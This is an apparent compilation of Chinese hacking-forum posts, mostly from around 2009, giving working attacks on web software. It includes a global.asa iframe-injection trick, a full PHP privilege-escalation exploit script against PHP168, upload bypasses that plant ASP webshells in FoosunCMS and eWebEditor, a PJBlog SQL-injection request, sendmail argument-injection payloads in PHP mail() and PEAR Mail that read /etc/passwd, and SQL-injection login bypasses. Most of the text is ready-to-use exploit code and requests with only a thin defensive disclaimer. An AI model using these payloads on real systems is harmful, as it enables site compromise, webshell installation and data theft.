Moyo[S.c.T] & SpooKZanG[S.c.T]
首先声明:
一、本文毫无技术含量,高手绕道。
二、本文并非教授挂马知识,目的在于为广大站长提供一些防护思路。
一、什么是global.asa?
Global.asa 文件是一个可选的文件,它可包含可被 ASP 应用程序中每个页面访问的对象、变量以及方法的声明。
Global.asa 文件可包含下列内容:
- Application 事件
- Session 事件
- <object> 声明
- TypeLibrary 声明
- #include 命令
注释:Global.asa 文件须存放于 ASP 应用程序的根目录中,且每个应用程序只能有一个 Global.asa 文件。
通过以上信息,我们能够知道,任何一个ASP程序在执行时,都会调用global.asa,这就给我们留下了一些隐患。
二、怎样实现
只要我们在网站下面建立一个global.asa,并且写入如下内容:
1
2
3
4
5
| <script LANGUAGE="VBScript" RUNAT="Server">
Sub Application_OnStart
End Sub
Response.Write "<iframe src=http://www.spookzang.net width=220 height=220></iframe>"
</script> |
这样用户在第一次打开网页的时候就会触发挂马。
三、怎样预防
注意自己网站下面的global.asa文件,是否被改写或者添加。
因为其不像iframe,JS等挂马方法,能通过查看源码得到信息。
他只需在网站根目录下建立一个global.asa,然后在里面写入挂马内容即可让整个网站被挂马,而不需要在整个网站的网页内加入挂马内容。
by Ryat
2009-07-17
天天上班,好久没在论坛发贴了…
以前发过一个php168 v2008的权限提升漏洞,这次的漏洞也出在相同的代码段
直接给出exp,里面的一些细节还是有些意思的,有兴趣的同学可以自行分析:)
EXP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
| #!/usr/bin/php
<?php
print_r('
+---------------------------------------------------------------------------+
Php168 v6.0 update user access exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: "Powered by PHP168 V6.0"
+---------------------------------------------------------------------------+
');
/**
* works regardless of php.ini settings
*/
if ($argc < 5) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path user pass
host: target server (ip/hostname)
path: path to php168
user: login username
pass: login password
Example:
php '.$argv[0].' localhost /php168/ ryat 123456
+---------------------------------------------------------------------------+
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$host = $argv[1];
$path = $argv[2];
$user = $argv[3];
$pass = $argv[4];
$resp = send();
preg_match('/Set-Cookie:\s(passport=([0-9]{1,4})%09[a-zA-Z0-9%]+)/', $resp, $cookie);
if ($cookie)
if (strpos(send(), 'puret_t') !== false)
exit("Expoilt Success!\nYou Are Admin Now!\n");
else
exit("Exploit Failed!\n");
else
exit("Exploit Failed!\n");
function rands($length = 8)
{
$hash = '';
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
$max = strlen($chars) - 1;
mt_srand((double)microtime() * 1000000);
for ($i = 0; $i < $length; $i++)
$hash .= $chars[mt_rand(0, $max)];
return $hash;
}
function send()
{
global $host, $path, $user, $pass, $cookie;
if ($cookie) {
$cookie[1] .= ';USR='.rands()."\t31\t\t";
$cmd = 'memberlevel[8]=1&memberlevel[9]=1&memberlevel[3,introduce%3D0x70757265745f74]=-1';
$message = "POST ".$path."member/homepage.php?uid=$cookie[2] HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: $host\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n";
$message .= "Cookie: ".$cookie[1]."\r\n\r\n";
$message .= $cmd;
} else {
$cmd = "username=$user&password=$pass&step=2";
$message = "POST ".$path."do/login.php HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: $host\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;
}
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
?> |
发现者:bloodsword、bink,转载请无视
影响版本:<=4.0 sp7,前面的版本没去看,估计也能日。
利用条件,开启了文件上传功能,iis6环境。
漏洞描述:建立目录的地方,名称过滤上有失误,导致可以绕过过滤建立一个.asp目录
首先注册个账号访问http://www.bbb.com/User/CommPages/FolderImageList.asp?f_UserNumber=06150583700&Type=AddFolder&Path=/userfiles/06150583700/aaa.asp//&CurrPath=/
其中这个06150583700是你的userid,登录了直接可以看到,建立一个.asp目录
因为风讯浏览目录的地方也过滤了.,所以建立的子目录进不去。本地构造表单:
1
2
3
4
5
6
7
8
9
10
| <form name="FileForm" method="post" enctype="multipart/form-data"
action="http://www.bbb.com/User/Commpages/UpFileSave.asp?Path=/userfiles/06150583700/aaa.asp">
<input type="hidden" name="AutoReName" value="2"><br />
<input type="hidden" name="Path" value="/userfiles/06150583700/aaa.asp">
<input type="file" size="20" name="File1">
<input type="hidden" name="FilesNum" value="1">
<input type="submit" id="BtnSubmit" name="Submit" value=" 确 定 ">
<input type="reset" id="ResetForm" name="Submit3" value=" 重 填 ">
</form> |
传个夹带一句话的图片上去
恶心的地方来了,传上去的文件名是日期+时间+5位随机数(可能是4位3位2位1位,反正最大5位),这个我跟bink研究了半天,没有 办法看到-_-,用管中窥豹有个暴力猜接上传路径的功能,先在正常目录里上传个文件,卡一下本地跟远程的时间差,然后传到.asp目录里,把秒数误差控制在3秒以内,开始跑吧~~然后自己该干嘛干嘛去,RP过关的话几个小时内应该能出结果-_-
SpookZanG
菜鸟文章,高手绕道。
今天搞站的时候遇到的,利用的方法可能有局限性。
先来说说第一个:
成功登录后台,发现后台很简陋,只有EWEBEDITOR可以利用,但是登陆后台被删除了(admin_login.asp)。

这时我们可以尝试访问 Admin_Style.asp ,看看他能否正常访问,如果能的话,就可以上传shell了。

第二种方法跟第一种有类似之处。
也是登陆页面被“前人”删掉了,或者密码破解不出来。我们可以尝试这样。
先看看数据库被删掉没。(默认:/db/ewebeditor.mdb)如果没删掉的话,把数据库给Down下来。
然后打开,查看Style这里,看看“前人”有没有留下痕迹(图比较长,截取2段最重要的,拼一块了)。

我们可以看到,前人新建了一个adminone1这个样式,然后把可以上传图片的后缀改为ASA。
下面我们来利用(利用方法可能比较笨)。
在网站后台调用到EWEBEDITOR的页面中,查看源码。
查找到这段:
<IFRAME ID=”eWebEditor1″ SRC=”../eWebEditor/ewebeditor.asp?id=content&style=s_light” FRAMEBORDER=”0″ SCROLLING=”no” WIDTH=”630″ HEIGHT=”420″> </IFRAME>
把那个s_light换成你刚才看到的样式名字,然后把链接补全。
<IFRAME ID=”eWebEditor1″ SRC=www.xxx.com/eWebEditor/ewebeditor.asp?id=content&style=adminone1 FRAMEBORDER=”0″ SCROLLING=”no” WIDTH=”630″ HEIGHT=”420″> </IFRAME>
然后另存为在本地,在本地打开,提交。
如果不出意外,就应该能看到你提交的马了。
影响版本:PJBlog 3.0.6.170
程序介绍:
PJBlog一套开源免费的中文个人博客系统程序,采用asp+Access的技术,具有相当高的运作效能以及更新率,也支持目前Blog所使用的新技术。
漏洞分析:
在文件class/cls_logAction.asp中:
1
2
3
4
| oldcate=request.form("oldcate") //第429行
oldctype=request.form("oldtype")
D = conn.execute("select cate_Part from blog_Category where cate_ID="&oldcate)(0) |
程序没有对变量oldcate做任何过滤放入sql查询语句中,导致注入漏洞的产生。
漏洞利用:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| POST /blogedit.asp HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/vnd.ms-excel, application/vnd.ms-powerpoint, */*
Referer: http://127.0.0.1/blogedit.asp?id=1
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0; .NET CLR 2.0.50727)
Host: 127.0.0.1
Content-Length: 513
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: __utma=96992031.4542583209449947600.1239335726.1240296350.1240324232.7; __utmz=96992031.1239335726.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PJBlog3Setting=ViewType=normal; PJBlog3=memRight=111111111111&memHashKey=c80f369e20b317566f736dbc70839834745d9c20&memName=admin&exp=2010%2D4%2D21; ASPSESSIONIDCCDSDABA=OEBBHCODJFKIJEGKGCPHGMCP
id=1&log_editType=1&action=post&log_IsDraft=False&title=xxx&log_CateID=3&cname=xxx&ctype=0&oldcname=xxx&oldtype=0&oldcate=3201=1&log_weather=sunny&log_Level=level3&log_comorder=1&blog_pws=0&log_Readpw=&log_Pwtips=&c_pws=0&blog_Meta=0&evio_KeyWords=xxx&evio_Description=web+safe&log_From=%E6%9C%AC%E7%AB%99%E5%8E%9F%E5%88%9B&log_FromURL=http%3A%2F%2Flocalhost%2Fbackci%2F&PubTimeType=com&PubTime=2009-4-21+15%3A54%3A46&tags=&UBBfonts=&UBBfonts=&UBBfonts=&UBBmethod=on&Message=web+safe&log_Intro=web+safe&log_Quote= |
解决方案:
厂商补丁:
PJblog
——-
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://bbs.pjhome.net/thread-52214-1-1.html
信息来源:
<*来源: Bug.Center.Team http://www.cnbct.org
链接: http://wavdb.com/vuln/1410 *>
漏洞介绍:php是一款被广泛使用的编程语言,可以被嵌套在html里用做web程序开发,但是80sec发现在php的Mail函数设计上存在问题,可能导致绕过其他的如open_basedir等限制以httpd进程的身份读写任意文件,结合应用程序上下文也可能导致文件读写漏洞。
漏洞分析:php的Mail函数在php源码里以如下形式实现:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| ......
if (PG(safe_mode) && (ZEND_NUM_ARGS() == 5)) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "SAFE MODE Restriction in effect. The fifth parameter is disabled in SAFE MODE.");
RETURN_FALSE;
}
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sss|ss",
&to, &to_len,
&subject, &subject_len,
&message, &message_len,
&headers, &headers_len,
&extra_cmd, &extra_cmd_len
) == FAILURE) {
return;
}
......
if (force_extra_parameters) {
extra_cmd = estrdup(force_extra_parameters);
} else if (extra_cmd) {
extra_cmd = php_escape_shell_cmd(extra_cmd);
}
if (php_mail(to_r, subject_r, message, headers, extra_cmd TSRMLS_CC)) {
RETVAL_TRUE;
} else {
RETVAL_FALSE;
}
..... |
在php_mail中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| PHPAPI int php_mail(char *to, char *subject, char *message, char *headers, char *extra_cmd TSRMLS_DC)
{
....
FILE *sendmail;
int ret;
char *sendmail_path = INI_STR("sendmail_path");
char *sendmail_cmd = NULL;
....
if (extra_cmd != NULL) {
sendmail_cmd = emalloc (strlen (sendmail_path) + strlen (extra_cmd) + 2);
strcpy (sendmail_cmd, sendmail_path);
strcat (sendmail_cmd, " ");
strcat (sendmail_cmd, extra_cmd);
} else {
sendmail_cmd = sendmail_path;
}
....
/* Since popen() doesn't indicate if the internal fork() doesn't work
* (e.g. the shell can't be executed) we explicitely set it to 0 to be
* sure we don't catch any older errno value. */
errno = 0;
sendmail = popen(sendmail_cmd, "w"); |
如果是Linux系统,Mail函数将拼接INI_STR(”sendmail_path”)的内容和额外的参数来执行命令,但是额外的参数在拼接之前经过php_escape_shell_cmd的处理,所以我们无法执行额外的命令。但是通过查阅sendmail自身的命令帮助,我们可以发现sendmail的某些参数是可以用来读写文件的,利用这个特性如果我们控制第5个参数的时候我们一样可以获得对文件系统的读写权限并且不受open_basedir等限制。
1
2
3
4
5
6
| <?php
$to = 'jianxin@80sec.com'.str_repeat("x",10000);
$subject = 'the subject'.str_repeat("x",10);
$message = 'hello'.str_repeat("x",10);
mail($to, $subject, $message, $headers,"-v -bt -X /tmp/80sec -d13 -C /etc/passwd");
?> |
本站内容均为原创,转载请务必保留署名与链接!
php mail function open_basedir bypass:http://www.80sec.com/php-mail-function-open_basedir-bypass.html
漏洞介绍:PEAR是PHP的官方开源类库, PHP Extension and Application Repository的缩写。PEAR将PHP程序开发过程中常用的功能编写成类库,涵盖了页面呈面、数据库访问、文件操作、数据结构、缓存操作、网络协 议等许多方面,用户可以很方便地使用。它是一个PHP扩展及应用的一个代码仓库,简单地说,PEAR就是PHP的cpan。但是80sec发现,Pear 的Mail模块存在安全漏洞,某些情况下将导致用户以webserver权限在主机上读写操作系统任意文件,继而控制主机执行php代码等。
漏洞分析:PEAR的Mail包错误地使用escapeShellCmd来过滤传入到sendmail命令的用户参数,用户提交精心构造的参数即可调用sendmail的其他参数,即可在操作系统上读写任意文件。
Sendmail.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| if (!isset($from)) {
return PEAR::raiseError(’No from address given.’);
} elseif (strpos($from, ‘ ‘) !== false ||
strpos($from, ‘;’) !== false ||
strpos($from, ‘&’) !== false ||
strpos($from, ‘`’) !== false) {
return PEAR::raiseError(’From address specified with dangerous characters.’);
}
$from = escapeShellCmd($from);
$mail = @popen($this->sendmail_path . (!empty($this->sendmail_args) ? ‘ ‘ . $this->sendmail_args : ”) . ” -f$from — $recipients”, ‘w’);
if (!$mail) {
return PEAR::raiseError(’Failed to open sendmail [' . $this->sendmail_path . '] for execution.’);
} |
可以看到 $from 变量的过滤并不完全,由于escapeShellCmd会将\等字符替换为空,即可绕过对空格的检查,而escapeshellcmd本身并不检查对于参数的调用,所以导致安全漏洞的发生。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| <?php
ini_set('include_path',ini_get('include_path').':/usr/local/lib/php/PEAR:');
require_once("Mail.php");
$from = "From: " . $_REQUEST['email'] . “\r\n”;
$to = “xxxxxxx@zzzz.com”;
$subj = “subscription request”;
$body = “subscribe me”;
$hdrs = array(
“To” => $to,
“Cc” => $cc,
“Bcc” => $bcc,
“From” => $from,
“Subject” => $subject,
);
$body=”test”;
$mail =& Mail::factory(’sendmail’);
$mail->send($to, $hdrs, $body);
?> |
http://www.80sec.com/index.php?1=3&email=xxxxx%09-C%09/etc/passwd%09-X%09/tmp/wokao%09zzz@x%09.com&l=2&1=3
即可看到此漏洞的利用。
前提:magic quotes = off
来到登录页面
http://[SpookZanG]//counter/stats/index.php
用户名与密码都输入: or ‘=’
即可。
来到后台:
http://www.[spookzang].net/superadmin (默认)
用户名和密码分别输入:’ or ‘1=1
即可登入。
利用方法
http://www.[SpookZanG].Net/demo/OGP/ogp_show.php?display=10 and substring(@@version,1,1)=5